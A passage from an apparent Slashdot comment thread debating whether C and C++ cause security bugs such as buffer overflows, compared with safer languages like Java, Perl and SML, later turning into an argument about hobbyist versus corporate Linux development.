    It would help if the standard free() did a bit more checking, in particular making sure you can only free() an address you've previously malloc()ed. That would make it slower, but not too much slower. Programmers could always turn off this checking for code that relies on allocating and freeing lots of blocks quickly. But I feel that having things safe by default, with the possibility to turn on 'fast but more dangerous mode', is a better design than providing the unsafe facilities by default.

    If you program in C++ with the STL, you hardly ever need to do pointer arithmetic, indeed the use of pointers themselves is relatively rare. In C it may still be unavoidable.

    I agree with you about the integer overflow bugs; it would have been much better if C and C++ could give an error for these rather than silently continuing. Stroustrup claims that arithmetic operations in C++ don't throw exceptions because overflow detection happens asynchronously on many systems. But that seems like a pretty weak excuse; you could at least have some barrier in the code which checks for overflow that recently happened.

    And yes, C++ does have exceptions, and it's better to use a library which throws exceptions on failure than to call system calls directly.

    I think we'd all be better off if everyone switched to SML, but I wanted to say you _can_ avoid the most common bug-patterns in C and almost all of them in C++.

    --
    -- Ed Avis ed@membled.com
  75. Stick to the language you know by 91degrees · · Score: 1

    I'm a C programmer. I also know Java and Perl. Have you seen my Perl code? It works, and it runs, but I'm pretty sure it's not high quality code.

    On the other hand, refusal to use STL or other existing library for performance reasons truly is stupid. There are other tricks to use such as smart pointers to prevent memory leaks. The thing is though, these require a reasonable understanding of the language you're using. (They're also typically more about stability than security).

    Other languages don't have these issues, but they may have issues of their own. Switching to Java isn't a panacea for all security issues. It will prevent buffer overruns, but so will the right C libs, and that doesn't require that I learn a new language

  76. Good Points, Bad Points by zentec · · Score: 1


    What Mr. Lasser seems to miss is the fact that security holes are caused by programmer error. Whether an application was written in C or Perl, the developer can still make fatal errors in anticipating input into the program leading to security problems.

    For example, he cites a very good example that a POP/IMAP server does not need to be written in a low-level language. I tend to agree, but the bug problems certainly won't stop there. Sure it'll be harder to create a buffer overflow (provided the Perl/Python/Java/Flim-flam interpreter is secure (since it's probably written in a low-level language), but it does NOTHING if there's a security problem access the user's mailbox, or directory access or a syntax error in interpreting IMAP commands.

    Mr. Lasser also mentions the "macho" factor. Mostly nonsense. I program in whatever gets the job done the quickest, and I'm sure most of the programmers do the same. The errors Lasser complains about are the same problems found in other lines of business -- it's work performed by humans. For whatever reason, an error is made.

  77. Re:HLL's are NOT a substitute for secure programmi by smallpaul · · Score: 1

    The thrust of the article is that most programmers are not skilled enough to write secure code, so they should be using HLL's that do the security for them, and leave C/C++ code to the "experts."

    No. The that is not the thrust of the argument. The thrust of the argument is that high level languages have automated features (memory management in particular) that can reduce the chance of security bugs just as there are features in airplanes to help pilots avoid mistakes.

    Security is a process, not a product. HLL's can be misused just as effectively as LLL's

    Imagine if Boeing said to a fighter pilot: "we've got this new feature that will reduce crashes by 5%." Would the pilot say: "your new planes can be driven into the ground if I fall asleep just as effectively as your old ones?" No, unless he is a macho cowboy, he's more likely to say: "thank you." Because he knows he isn't perfect and that every little bit helps.

  78. YES! This is so true by scode · · Score: 1

    I've been saying a long time that C and other unsafe languages simply are not suitable for most applications. There must be a very good reason for such languages to be the primary (good) choice.

    And truthfully, I don't feel safe knowing that most of the code running on my machine and servers out there is written in unsafe languages.

    Like the article author mentioned, who knows how many bugs are out there being actively exploited because they are not yet widely known?

    Of particular importance is the fact that bugs such as buffer overflows don't exist *AT ALL* in other languages. Yes, there are many ways to introduce security vulnerabiliies in applications, regardless of language. But with unsafe langauges that allow bufer overflows, even the simplest application may have disastrous bugs.

    For example, a network monitoring system that does nothing but monitor traffic can easily contain a remote root exploit if written in an un-safe language. If written in a safe language, it is virtually unthinkable that such a bug exists, because the application simply does not perform actions that are even related to privileges / unsafe file access, and, as opposed to the unsafe language equivalent, there are no arbitrary-code-execution bugs. (Assuming of course one doesn't doo things like invoking shell scripts, in which case unchecked parameters can cause grief.)

    If everyone started writing code in safe languages except where an unsafe language was *really* called for, there would almost certainly be a LOT less exploitable bugs, and in particular, a lot less random. Yes, a buggy ssh server written in a safe language is a hazard. But a buggy time server isn't, nor is a network monitoring application, and nor are a number of other types of applications.

    In short, without arbitrary-code-execution bugs, it is much easier to determine what type of damage is likely to be caused by a certain application. And the probability that a bug steps outside of its scope of expected bugs is much smaller.

    So please, enough with the low-level conservatism please.

    --
    / Peter Schuller
    --
    peter.schuller@infidyne.com
    http://www.scode.org
  79. Re:HLL's are NOT a substitute for secure programmi by smallpaul · · Score: 1

    The article really touched a nerve, didn't it?

    While I believe there is a need for the computing industry to move towards more responsibility for security, focusing just on C/C++ programmers will not do the job. There is plenty of improvement to be made by the end users, and the columnists as well!

    Where in the article did he say that the only way to improve security is to use high level languages? As I read it, he said that one way to improve security is to do so.

  80. Re:Safe != interpreted, and 'cracking' JVM irrelev by runswithd6s · · Score: 1
    Language and implementation are irrelevant. That is my point. Security breechs happen. Bad code happens. Cracks happen. If he wanted to make a general plea to programmers to use more secure tools, he didn't have to focus on Unix/Linux and C to do it. He could have chosen any language, any interpreter, and made exactly the same point. Instead, he chose to point his finger at a specific group of developers to see what kind of response he could raise. He succeeded in getting over 130+ posts on /.

    I don't feel it necessary to expound on this further. There are plenty of comments here and published papers on writing clean, secure, and efficient code, regardless of which language is used.

    --
    assert(expired(knowledge)); /* core dump */
  81. languages are the problem by g4dget · · Score: 1
    The problem with C or C++ is that no matter how much library code you add to them, they don't provide fault isolation. That is, I can do everything right in my code, but some other module can still screw up my data structures through a stray pointer.

    An additional problem with C (and to a lesser degree, C++) is that it doesn't protect you against mistakes or typos: it is very easy to introduce crashes and security problems accidentally.

    Many languages other than C/C++ almost completely eliminate that worry. Java offers almost complete fault isolation: code simply cannot foul up structures to which it doesn't have access, and furthermore, you can control very carefully what code that you load is and is not allowed to do. And Modula-3 and C# give you the ability to mix safe and unsafe code predictably: by default, everything is safe. But if you ask for it, you can do unsafe stuff in clearly marked sections of the code. Furthermore, external libraries are guaranteed to be marked correctly as to whether they are safe or not.

    Those are capabilities that simply are not available in C/C++/Objective-C, and they cannot be retrofitted or added after the fact as libraries.

    similarly using 'vector' or other STL containers instead of C-style arrays.

    That is wrong: STL makes very few safety guarantees. This is very unfortunate because the ANSI C++ committee had a big opportunity to make C++ a much safer language, but they missed it. If you want better support for safety in C++, you'll have to use or write your own data structure types (since STL is so poorly designed in many other ways, that's a good idea anyway).

    At least in C++ there is a standard 'string' type, although some people insist on reinventing the wheel (Microsoft's MFC with CString, Qt with QString).

    That's because (1) many of those libraries predate ANSI C++ by a long time, and (2) the ANSI C++ standard 'string' type also has some serious limitations.

    C++ is a great language for scientific applications and things like embedded systems and operating system kernels. But it is not a good language for end-user application software, GUIs, or servers. And C, while it was a wonderful workhorse for 20 years, should really be retired.

    1. Re:languages are the problem by Black-Man · · Score: 1

      >>An additional problem with C (and to a lesser >>degree, C++) is that it doesn't protect you >>against mistakes or typos:

      A statement like this reeks of ignorance. Blaming the language is typical of those novice programmers who fail to completely understanding the language.

      C++ is great language when speed and reliability on the server is required.

    2. Re:languages are the problem by Jeremi · · Score: 1
      A statement like this reeks of ignorance. Blaming the language is typical of those novice programmers who fail to completely understanding the language


      On the other hand, just because you have learned how to successfully work around C/C++'s shortcomings doesn't mean those shortcomings do not exist. The fact that so many bugs and security holes exist in C/C++ programs is evidence that the language doesn't do enough to prevent those things.


      C++ is great language when speed and reliability on the server is required.


      Speed, yes. Reliability, yes -- IF the program is bug free. If, like 99.9999% of the programs in existence, your C++ program contains bugs, then C++ allows those bugs to be exploited to take over your server -- which is not what I would consider 'reliable' behaviour.

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    3. Re:languages are the problem by g4dget · · Score: 1
      A statement like this reeks of ignorance. Blaming the language is typical of those novice programmers who fail to completely understanding the language.

      And a statement like yours reeks of the kind of ignorance of macho programmers who think they have it all under control. When you grow up, you'll perhaps figure out that everybody makes mistakes. And when you grow up, you'll perhaps also figure out that, no matter how good you yourself may be, eventually, you'll have to work on multi-programmer projects and you have to deal with other people's code, who often are novices.

      C++ is great language when speed and reliability on the server is required.

      C++ is a great language, but not for most server applications.

    4. Re:languages are the problem by Ed+Avis · · Score: 1
      The problem with C or C++ is that no matter how much library code you add to them, they don't provide fault isolation. That is, I can do everything right in my code, but some other module can still screw up my data structures through a stray pointer.

      Very true. One way to provide this isolation would be to run each library as a separate process or in its own address space, like how in classic Unix the kernel was a kind of library which happened to have restricted entry points and to switch the CPU to a different privilege level when entered. But I don't know if this would be practical on modern hardware (a thousand processes each linked with a thousand libraries demanding hardware isolation from each other).

      Another way to get the same isolation at run time is to use a virtual machine where pointer accesses are either forbidden or strictly controlled. Of course, this is the Java or .net approach.

      Or there could be a way to check statically (ie, at compile time) that a given library cannot scribble over your code. But I think this is too difficult to do without seriously restricting the library author's range of coding styles.

      You're right that 'vector' and other STL classes don't guarantee safety, but they are surely a big step up from raw C arrays or NUL-terminated strings. Many STL implementations do have 'safe' or 'debug' modes; it's a pity this mode is not the default.

      --
      -- Ed Avis ed@membled.com
    5. Re:languages are the problem by Rich0 · · Score: 1

      Another way to get the same isolation at run time is to use a virtual machine where pointer accesses are either forbidden or strictly controlled.

      Tell me about it! When learning Pascal, pointers are usually introduced in chapter 32 or so of the book, when you're learning about things like linked lists, queues, and such. When you're learning C you find it in chapter 2 right next to the scanf function. It is impossible to write anything at all in C without being aware of the implications of direct memory access.

      How parameters are passed to functions should be a function of the language and should be hidden from casual programmers. In C you have to know whether parameters are passed by reference or by value. Programmers should not have to manage their own memory normally.

      My personal opinion is that code should not be considered safe if it contains a single pointer in it. I agree that safe code can be written which uses pointers, but it requires careful code reveiew for anything but the most trivial of applications.

      I have no doubt that people will continue to find vulnerabilitys in underlying libraries like glibc or its equivalent in higher-level languages. However, when these problems are found they can be fixed once for all dynamically-linked applications. Problems inherent to the design of C affect all applications everywhere, and when you introduce a fix for one bug you're just as likely to be introducing some other bug.

      Besides, if you used higher-level languages for GPL software development I think you'd find more developers who are able to contribute to projects.

    6. Re:languages are the problem by Ed+Avis · · Score: 1

      Modern C++ textbooks also tend to introduce pointers fairly late on. In fact the main reason you'll come across pointers when learning C++ and its standard library is for storing a container of pointers rather than a container of objects.

      I disagree with you about getting more contributors if code is written in a higher-level language; it has to be a popular language. Far more people know C than know Haskell or Mercury or any other very-high-level language. Perl, despite having many faults as a language, is a good compromise for free software development because it is both fairly high-level and very popular, and has a good collection of libraries.

      --
      -- Ed Avis ed@membled.com
    7. Re:languages are the problem by g4dget · · Score: 1
      One way to provide this isolation would be to run each library as a separate process or in its own address space, like how in classic Unix the kernel

      Well, more importantly, in classic UNIX systems, software packages were composed of dozens of small, short-lived processes. With that, you need neither garbage collection nor runtime safety. It's a shame that Linux has increasingly moved towards large, monolithic applications like those found in the Windows world. But if that's the kind of applications one builds, C/C++ is not the tool to do it.

      Another way to get the same isolation at run time is to use a virtual machine

      Well, there are a number of choices: (1) UNIX-style (lots of small processes), (2) virtual machines and JITs (Java), (3) sandboxing by pointer munging, and (4) safe languages with native code compilers (and digital signing of object files in untrusted environments).

      I think (4) is actually probably the best choice for most desktop uses. It is odd that we ended up with (2), mostly because Sun promised one thing for Java (web-based applications) and then delivered something completely different (server platform).

      You're right that 'vector' and other STL classes don't guarantee safety, but they are surely a big step up from raw C arrays or NUL-terminated strings. Many STL implementations do have 'safe' or 'debug' modes; it's a pity this mode is not the default.

      Well, fortunately, C++ is sufficiently powerful that it is very easy to roll one's own array class or use any of a number of third party classes. Unlike STL, those end up giving users both fast and predictable performance and runtime safety.

    8. Re:languages are the problem by dubl-u · · Score: 1

      When you grow up, you'll perhaps figure out that everybody makes mistakes.

      Amen! And that admission is key to building better stuff. When I started doing unit testing, it felt unmanly to me; as if really good programmers just did it right the first time.

      But then I realized that if I only did things that I could do perfectly, then I wasn't challenging myself. Writing unit tests as I go lets me tackle bigger, uglier problems and still provide solid results.

      Macho posturing just gets in the way of doing really kick-ass work.

    9. Re:languages are the problem by Anonymous+Brave+Guy · · Score: 1
      The fact that so many bugs and security holes exist in C/C++ programs is evidence that the language doesn't do enough to prevent those things.

      That depends. It's also evidence of the fact that so many such programs exist, and of the fact that the languages aren't used as well as they should be. The vast majority of such bugs in C++ programs are totally unnecessary, but since most people appear read a 10 year old book on C++ and then call themselves an expert, it's not surprising that they still use raw arrays, pointers, str... functions, and all that jazz in high level code where it has no place.

      If, like 99.9999% of the programs in existence, your C++ program contains bugs, then C++ allows those bugs to be exploited to take over your server

      FUD. The vast majority of bugs in programs would not allow any sort of remote exploit. Most of the ones that do are mechanical, and could be prevented by (a) using programming practices less than a decade old, and/or (b) using automated tools to check over the code before you ship it.

      It's a curious fact that people who program exclusively in higher level languages have a tendency to overestimate their safety, hence resource leaks in Java apps, logic errors causing millions of Perl CGI/PHP/whatever web pages every day to be served incorrectly, etc.

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
  82. Why I prefer C/C++ by mofochickamo · · Score: 1
    After programmers take responsibility, perhaps they can consider using the right tool for the job, rather than the right tool for the job of their dreams.

    There are many reasons that developers choose to use C/C++ over other higher level languages. Here are a few of them.

    1. There are many more libraries that have C/C++ interfaces than any other language (although Perl and VB have a hellavalot too)
    2. C/C++ can be compiled into machine code that not only improves speed performance but also greatly reduces the memory required to run, since no interpreter or virtual machine is required. It also allows users who do not have interpreters/virtual machines to run your code. The drawback here, of course, is that you must compile on every platform you wish to run on.
    3. Versatility. You can write anything in C. Operating systems, compilers, web browsers, e-mail clients, games... bring it on.
    4. The alternative. Can you imagine if Samba, vi, Emacs, GNOME, and Mozilla were written in something like Java? Processing power may be cheap but I still want to run all these programs on my old K6-2 400 with 256M of RAM. Think of vi written in Java... you could forget vi starting up in 0.00003 nanoseconds.
    --
    Honk if you're horny.
    1. Re:Why I prefer C/C++ by pauldy · · Score: 1

      It would be like running something like? Open Office. Which, on a slow computer is like watching grass grown in the desert during a drought.

  83. People like this guy really annoy me... by crazyphilman · · Score: 1

    While I have to give him credit for managing part of the Bastille project, which I've used at home and which I think is extremely useful, his philosophy of programming is pretty simplistic and dumb, IMHO.

    He thinks we should all be using languages like Perl and Java, unless we're doing something His Highness considers elite enough to *require* the use of a lower-level language like C or C++. He thinks that all the people developing for Linux who have chosen to use C/C++ instead of his pet languages (again, Perl and Java) are somehow irresponsible. He categorizes them all as "macho" types, who are using the language just to pretend they're cool. And, he compares programmers to jet pilots... I mean, God, Almighty, I think there's a little bit of a difference between someone who flies five hundred miles an hour and can take out a small town with a single "oopsie", and a guy writing a printer driver, don't you?

    God, what an ego! Who does this guy think he is? And, how old is he, 22? His picture looks pretty damn young to me (actually, looking at his picture, the thought that crossed my mind was "Oh my God, he's a hobbit -- this guy's from the Shire"). What hubris! What arrogance!

    I don't know about you guys, but I'm pretty damn tired of hearing Java jockeys go on and on about how "safe" and "secure" their pet language is, and how bad the tools the rest of us use are. These annoying people pursue their "one true tool" approach like a religious crusade, consistently make asses out of themselves, and waste time annoying the rest of us with their blather.

    Before I kill off this rant, I'd like to make a couple of points:

    1. There's NOTHING wrong with using C or C++. In fact, using C or C++ virtually ENSURES that your stuff is going to work on a wide variety of computers (yes, even the older ones without much RAM). For some of us, this is an important consideration. Another consideration is, gcc is GPL'ed, so no one can ever "take it away". Java is still proprietary. And, Perl is a scripting language, which is not fully object oriented; so some projects will naturally be easier to manage long-term via C++. What's my point? USE THE TOOL THAT MATCHES YOUR NEEDS, NOT THE TOOL SOME ARROGANT KID OFFICIOUSLY ORDERS YOU TO USE.

    2. People choose C/C++/whatever for their own reasons. Many people know more about C++ and are familiar with the libraries available on Linux; they find this very convenient and pleasant. There is NOTHING wrong with using the tool you're good at using.

    3. Most people developing for Linux are HOBBYISTS. This means, they use the tools they enjoy using. And there's NOTHING wrong with this, either. Different people, using different tools and following their own muses, make life interesting.

    4. Buffer overruns and other bugs can be avoided if you're just a little careful with your code, and don't cut corners. It's just as easy to write buggy Java as it is to write buggy C++ (yes, Java fanatics, it is! Look at all the crashing applets and java apps around the web and THEN tell me how great your pet tool is...).

    Ok, that's enough ranting for now...

    In general, I'd say people should use the tools they enjoy using, and write the kind of stuff they like to write -- then, spend some time vetting your code before they release it. Lord knows, hardly anyone's getting PAID to write software anymore, we might as well enjoy the work...

    --
    Farewell! It's been a fine buncha years!
    1. Re:People like this guy really annoy me... by mofochickamo · · Score: 1

      I don't think he looks like a hobbit. I think he looks like John Walker Lindh.

      --
      Honk if you're horny.
    2. Re:People like this guy really annoy me... by fitten · · Score: 1

      "3. Most people developing for Linux are HOBBYISTS. This means, they use the tools they enjoy using. And there's NOTHING wrong with this, either. Different people, using different tools and following their own muses, make life interesting."

      This is a major part of the problem that Linux has to overcome now. Businesses do not like "hobby" tools or the idea that their business will be letting a "hobby" be in control of its data/etc. Linux and Linux apps must present, at least an appearance of, being professional quality. The "hobby" stigma of Linux is one of the things holding it back from taking over even faster, IMO. Views are changing and Linux is getting wider acceptance daily, but it is most definitely *not* due to the perception that it is a "hobby" that is created/propagated by "hobbyists". It is because it is taking on the appearance of (and becoming) a professional quality OS with professional quality apps.

    3. Re:People like this guy really annoy me... by bnenning · · Score: 1
      USE THE TOOL THAT MATCHES YOUR NEEDS


      Duh. And if your needs include security, then consider the drawbacks of C/C++ in that regard.


      It's just as easy to write buggy Java as it is to write buggy C++


      The difference being that a buggy Java app is far less likely to result in an exploit.


      In general, I'd say people should use the tools they enjoy using, and write the kind of stuff they like to write -- then, spend some time vetting your code before they release it.


      This is how stuff like Windows gets produced. Security just can't be bolted on as an afterthought.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    4. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      bnenning said: "Duh. And if your needs include security, then consider the drawbacks of C/C++ in that regard."

      Sure. Then go right ahead and program in C/C++, keeping in mind that you've got to be careful with your input data, strings, etc. As long as you're careful you should be fine. Note that I'm not saying you should do web scripting in C/C++ -- most people do that in PhP or Perl. But by the same token, if I'm writing a desktop application for Linux, I'm going to use C++. Again, use the tool you think is most appropriate.

      Then he said: "The difference being that a buggy Java app is far less likely to result in an exploit."

      Blah, blah blah. Don't you ever get tired of the religious war thing? But, since you brought it up, a Google search for java related exploits returned 206,000 results. Hmm...

      Finally, he said: "This is how stuff like Windows gets produced. Security just can't be bolted on as an afterthought."

      Ad hominem gets you nowhere with me, kid. Besides, you're full of shit. Windows was produced in a purely mercantile and corporate way, building and bolting code onto old code, and expanding a weak code base with more and more code, rushed unbelieveably to meet unrealistic deadlines and so on. I don't see how you can draw an analogy between harried, overworked windows coders and totally free, happy, open source developers who are coding for kicks, and thus can take as much time as they like. False analogy, ad hominem... Feh. Nice try though.

      --
      Farewell! It's been a fine buncha years!
    5. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      Holy cow, now that you mention it, he does look a little bit like him, although less malnourished. Freaky...

      --
      Farewell! It's been a fine buncha years!
    6. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      Most of the things that are a part of Linux are in fact built by hobbyists. You can't get around that, it's a fact and it's not going to change. Programmers nourish Linux by building their personal interests into code and sharing it freely with each other. If it weren't for this drive, there would BE no Linux, and we'd all be using FreeBSD, ok? So let's not pretend that Linux's hobbyist heritage is a Bad Thing. That's thing number one.

      Which brings us to thing number two, which is that Big Business, which loves free and cheap things, has discovered Linux, but it isn't comfortable with the wacky bunch of granolas it perceives as running the show. So, Big Business being Big Business, it is trying to say that the fundamental character of Linux is a "problem". The programmers building Linux are so "unprofessional"! So, Big Business would like to change that, and reform Linux into what you're calling "a professional quality OS with professional quality apps".

      What you (and Big Business) don't seem to understand is that the REASON Linux is superior to Windows is that it was built by hobbyists, who are doing this stuff for fun instead of money. So, they spend more time with their pet project, tweaking it, fiddling with it, making it better and improving it... They're not constrained by the bullshit deadlines and ridiculous schedules you see in "professional" shops, so they can actually take their time and do a good job. I might add that they don't have a bunch of suits breathing down their necks, which tends to make things a little smoother.

      Now, sure, Linux is going to start to fragment a little. Some companies are going to start trying to turn out "professional" versions of Linux, to please people like you who are uncomfortable with all us commie hobbyists, and there's nothing wrong with that. Other groups, probably including Debian and Slackware, are going to keep Linux's hobbyist nature alive. And, that'll be cool too. There'll probably be a lot of bleed-over between the two groups because most things built into Linux will probably continue to be GPL'ed.

      And, do you know what's going to happen?

      All your talk of professional code aside, there will still be hobbyists, and most of the more interesting things produced will be produced by them. As always, their work will then be ripped off and copied by the "professionals", as stage two of the "three systems of man". Watch, you'll see.

      I'm starting to ramble here, so let's get back on track: I think you should re-evaluate your way of looking at Linux. Linux does not exist so that it can be sold to Big Business. Linux exists for the hobbyists who built it originally, and who continue to build it. There are companies that are trying to make money in this area, and God bless them, they deserve all the success they can get. But don't try to make out like taking over corporate computing is Linux's prime mission. It's not. It's just the dream of people who want to make money using Linux as their product. Not that there's anything wrong with that, but let's keep it in perspective.

      Linux's (or should I say "GNU/Linux") prime mission, whether you like it or not, is to offer the world a FREE alternative to the commercial operating systems most people are stuck using. All this business stuff is a side issue, and though I really do hope Red Hat, SuSE, et al succeed and get what they want, I don't for a second agree with you that this is central to Linux's success as an O/S.

      So there we are. 'Course, neither one of us is going to come over to the other's point of view. But that's ok too. It takes all kinds to make a world.

      --
      Farewell! It's been a fine buncha years!
    7. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      By the way, in all fairness to your point of view and mine, I should add the following note:

      I think that as a matter of basic philosophy, obviously, applications software designed for businesses will continue to be developed differently from desktop applications that target individuals. It always has been and always will be.

      Businesses writing Linux software for other businesses (or for internal use) will probably end up using Java/J2EE because they'll want to use EJB, servlets, JBoss, and other similar technologies. If they didn't want to use Java, they likely wouldn't be using Linux -- they'd be using Windows and .NET. So there's that.

      People writing software for individuals will probably keep using their favorite tools (notably, C/C++, because the compiler and libraries are Free Software, for one thing, and because they work better on older equipment, which many Linux users use).

      The little gnome who wrote the article I was complaining about attacked people writing software in C++. Since most Linux business software is java based, that implies that he was attacking the people who write for home Linux users, which is what I responded to in my post. SO, business and business's needs are kind of beside the point. We're talking about hobbyists, which produce the majority of the code used by home users (like myself) and also generally use the code themselves.

      I hope that frames things a little more clearly. Anyway, I still disagree with you. I think your way of looking at Linux is way, way, too corporate.

      --
      Farewell! It's been a fine buncha years!
    8. Re:People like this guy really annoy me... by Xugumad · · Score: 1

      The difference being that a buggy Java app is far less likely to result in an exploit.

      I fail to see how? In the case of an applet, sure, because you've got a security wrapper, but in a stand-alone application I don't see why its less likely to have security holes?

    9. Re:People like this guy really annoy me... by bnenning · · Score: 1
      I fail to see how?


      Take the common case of dereferencing a null or invalid pointer. In Java, the program throws an exception immediately and dies if it's not caught. In C, the program may die, or it may end up overwriting memory with random bytes. Same thing with writing past the end of an array or string.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    10. Re:People like this guy really annoy me... by fitten · · Score: 1

      I'm not saying to ignore heritage.

      I'm not saying that hobbyists don't contribute good code, make things better, yada yada yada.

      If you look around, most of the threads you see are about Linux "taking over the desktop" and "taking over the server world" type thing.

      What I was saying is that to "take over the desktop" and to "take over the server world" you have to show that the stuff isn't maintained by a bunch of tatood, body pierced, wild haired bunch of teenagers. That image does not inspire confidence to folks in suits. You won't see an exec saying "sure, I'll trust my 4TB customer database to something that was written by a hack who lives in his mother's basement living off of bawlz and pizza" regardless of whether you or I are actually one of those folks or whether we know that folks like that can produce good code. They will be worried about the guy putting back doors into the program, stability issues, etc.

      The inroads that have been made into those areas have been because there *are* companies who give the stuff a professional air and folks who have earned the trust of those they work for who are in positions inside those companies to assuage any fears or doubts about the software.

      The path works both ways. Hobbyists who have a good reputation at home can promote Linux at work. Folks who know little/nothing about Linux can be exposed to it at work and bring it home (Joe Sixpack, for instance).

      I used to run Linux because it was kewlz0r. I grew up. I run Linux now because it does what I want it to do.

    11. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      Well, hang on a second now. You're making an unfair generalization about Linux coders. In fact, it's not a very nice generalization at all, and not very accurate.

      In my experience, the people writing code as a hobby are professional coders or sysadmins during the day, who want/need an open source outlet for their talents at night. Most people I've heard about who contribute to Linux are pretty ordinary-looking, totally straightlaced, normal programmer/analyst types. I'm sure there are people like the "hack who lives in his mother's basement living off of bawlz and pizza" you describe, but I haven't met/encountered very many (those I have run into have been pretty much just shell scripters for some reason -- nothing against shell scripters, it may be a coincidence). For the record, I (for example) am a 32 year old, middle-of-the-road, jeans-and-polo-shirt-wearing senior programmer/analyst with short hair and no piercings (ok, ok, I do have some tattoos, but I'm ex military), I have my own car and a two bedroom apartment, I don't eat Bawls and pizza, I eat mostly vegetarian and spring water, and I don't speak in l33t. I guarantee that no suit-wearing executive would even take notice of me, much less find any reason not to trust me. And, having gone to a bunch of Linux conventions on and off, most of the people I see who are on the programming side are similar to me, with minor variations here and there (for some reason I see a lot of LOTR-type beards, especially among the sysadmin crowd; weird). Ok?

      So let's get this out of the way right now: by "hobbyist programmer" I'm basically referring to the people I've noticed doing Linux work: totally normal, senior-programmer/analyst types on their free time with an itch to scratch.

      What YOU're describing seems to have been taken straight out of some Microsoft flunky's FUD manual. So, please, refrain from insulting a whole class of people, ok? It isn't nice.

      Ok, having gotten that ugly duty out of the way, let me point out that the hobbyists are still the main audience of Linux, they're still the core developers of new things for Linux, and they're still very important. Also, as I mentioned in my last post, they do things very differently from the way Big Business does them.

      Piercings, tattoos and wild hair? Puh-LEASE. I don't even wear an earring.

      --
      Farewell! It's been a fine buncha years!
    12. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      Yes, but you can use exception-handling in C++ just as in Java (in fact, Java's exception handling scheme looks just like the one in C++ -- which I think came first) to CATCH those exceptions. Also, you can use better libraries and STL to work with input strings and such -- there's no rule that says you have to use unsafe constructs.

      You can write code in C++ that is *just as safe* as the code you can write with Java. Of course... It'll run a hell of a lot faster. ;)

      --
      Farewell! It's been a fine buncha years!
    13. Re:People like this guy really annoy me... by fitten · · Score: 1

      I understand what you are saying completely and I agree with you. I'm not arguing that what I'm saying is "right". I'm saying it is simply reality (thankfully a reality that is changing every day).

      I'm not one of the folks I described either. I'm 34, jeans/t-shirt/polo-type, sneakers as well. I don't have any piercings, mostly because I don't want to deal with the maintenance and I think it would be distracting (I don't even wear a watch). I do have tatoos but none are visible if I'm wearing a shirt/pants. I've been a senior level programmer for around 8 years or so now. Computers have been my hobby, diversion, entertainment, and pretty much most of what I do since the late 70s. Computers have also been my profession since the late 80s. This is not my point.

      Stand in the shoes of a suit who knows little/nothing about computers for a few. What do you think of when you hear of "hobbyist programmer"? Sure, they stereotype us just like any other type of person is stereotyped. Is it fair? Who cares. It happens. They've seen pictures of alternative types who are UN*X/Linux users/programmers and they assume that is what we look like (although that perception is changing with the weight of companies like IBM/HP/etc. talking about Linux).

      Now... think of this: "Hey boss, here is some new software we can start using. It was written by hobbyist programmers. It's better software than that stuff we buy for big $$$$$ from CompanyX." Boss thinks: "hmm... hobbyist programmers... write stuff in their spare time better than folks who do it professionally for a living... ya... i'll believe that one".

      The reason I bring up this point is because I have *witnessed* it firsthand on more than one occassion in more than one organization/company. Companies like IBM, HP, RedHat, Oracle, and the others add serious credibility to the claims that suits hear. They have definitely heard of IBM and Oracle before (and have most likely seen things about Linux in the various business rags). Knowing that Linux has that kind of professional, high-profile backing lessens their fears. Combine this with IT/Programmers who have earned their trust giving praises to Linux greatly helps convince them that the risk of switching from whatever they have to Linux isn't that big.

      Again... I'm not saying that all Linux people are freaky. I'm not saying that stereotyping people is "right". I'm saying that regardless of what you and I think, there are people who think this way and that certainly has influence on their decisions. The term "hobby", courtesy of http://www.m-w.com means:

      Main Entry: 2hobby
      Function: noun
      Inflected Form(s): plural hobbies
      Etymology: short for hobbyhorse
      Date: 1816
      : a pursuit outside one's regular occupation engaged in especially for relaxation

      has the connotation of something that is done not as a profession. Even the term "enthusiast" doesn't carry seriousness with it. The basic idea that I'm trying to get across is that these terms do not add strength to the perception of Linux or anything that you want to use seriously (in essence, betting the farm on). You have hobbies and things you are enthusiastic about and then you have things that you do professionally. Would you go to a physician who practiced medicine as a hobby or was simply an enthusiast about medicine? Would you hire someone who only practiced law as a hobby to represent you in court?

      Sure Linux and the associated applications were started and have been maintained by hobbyists for quite a while. Today, more and more professionals are getting into Linux. The professionalism and professionals are what sell Linux and get it to expand into the realms where you have to put money where your mouth is. Sure, lots of smaller companies bought into Linux a long time ago, particularly as a cost saving measure or because they were already familiar with UN*X.

      How many Fortune500 companies were using Linux back in the pre-1.0 kernel days? in the pre-2.0 kernel days? There are many reasons why, one of which I am proposing as being the image that Linux is/was created/maintained by "hobbyists" and, therefore, wasn't a serious thing. The risk to adopt the platform were correspondingly high.

    14. Re:People like this guy really annoy me... by crazyphilman · · Score: 1

      Well, you've got a solid point here. But I could counter that there ARE plenty of companies designing for the corporate space, so corporate code isn't hobbyist code. But, then, corporate stuff is generally composed of third-party add-ins, and modified distributions. Maybe a better way to think about this is, Linux is really split into two worlds:

      The first world is that of the home user, the guy who wants to use Linux instead of Windows at home, for any of a dozen great reasons. This guy isn't going to care particularly that Linux was built by hobbyists -- in fact, that's probably a selling point, because he's probably a hobbyist himself. At least, he's open minded enough to try Linux, so he's probably open minded enough to not care about the hobbyist thing.

      The other world is that of Big Business, but they're not going to be buying off the shelf Linux distros, or downloading their Linux, they're going to be going to a vendor and having something custom set up for them. The situation is completely different, so in my view the hobbyist stigma shouldn't really matter (although I recognize that it probably will, suits being suits -- today I had someone email me a request for a flowchart, to be sent as a fax, because she supposedly didn't know how to use email). I mean, a lot of their stuff is NOT hobbyist code, and I know that Linux is growing in that space very quickly. Companies like IBM are throwing their weight behind Linux, to make it sufficiently corporatized for Big Business to feel comfortable adopting it. I'm not complaining about that at all. I think it's a Good Thing, because enough of that tech trickles down to us and enriches the hobbyist community as well. But I see it as a separate thing from the hobbyist core of Linux. Another realm, you know?

